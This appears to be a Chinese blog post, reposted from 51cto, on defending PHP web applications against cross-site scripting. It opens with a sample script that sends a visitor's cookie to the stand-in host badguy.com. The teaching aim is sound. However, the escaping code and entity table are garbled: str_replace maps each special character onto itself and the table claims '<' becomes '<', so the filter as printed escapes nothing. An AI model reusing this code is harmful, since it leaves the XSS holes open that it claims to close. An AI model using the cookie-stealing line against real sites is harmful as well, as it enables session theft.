XSS***:
跨站脚本***(Cross Site Scripting)。XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。
以下是一个恶意js脚本的范例:
<script> window.open("http://badguy.com?cookie="+document.cookie) </script>
下面简单介绍一下Cross脚本的防御方法:
大体的思路很简单,一般XSS***都是程序没有过滤掉用户输入中的恶意js脚本,以致恶意的js脚本被解释执行。所以我们只需要将用户输入字符串进行检测,去掉<script></script>标签,或者转义'<'字符。
PHP代码:
if($_SERVER['REQUEST_URI']) {
$temp = urldecode($_SERVER['REQUEST_URI']);
if(strexists($temp, '<') || strexists($temp, '"')) {
$_GET = shtmlspecialchars($_GET);//XSS
}
}
//取消HTML代码
function shtmlspecialchars($string) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = shtmlspecialchars($val);
}
} else {
$string = preg_replace('/&((#(\d{3,5}|x[a-fA-F0-9]{4})|[a-zA-Z][a-z0-9]{2,5});)/', '&\\1',
str_replace(array('&', '"', '<', '>'), array('&', '"', '<', '>'), $string));
}
return $string;
}
当然也可以转义:
1、htmlspecialchars() 转义特别的字符为HTML实体
'&' (ampersand) becomes '&'
'"' (double quote) becomes '"' when ENT_NOQUOTES is not set.
''' (single quote) becomes ''' only when ENT_QUOTES is set.
'<' (less than) becomes '<'
'>' (greater than) becomes '>'
2、htmlspecialchars_decode()将实体转成HTML代码,函数1的反函数
3、 htmlentities()这个是全部转换html实体,和htmlspecialchars()区别在于,这个函数是转义全部的字符,而htmlspecialchars()仅仅转义上面限定的5个特殊字符
除此之外,有些***脚本不一定位于<script></script>中,因此
将重要的cookie标记为http only, 这样的话Javascript 中的document.cookie语句就不能获取到cookie了。
只允许用户输入我们期望的数据,采用正则表达式限制用户输入的格式。
对数据进行Html Encode 处理。
过滤或移除特殊的Html标签, 例如: <script>, <iframe> , < for <, > for >, " for
过滤JavaScript 事件的标签。例如 " "onfocus" 等等。
转载于:https://blog.51cto.com/webcrawler/1201307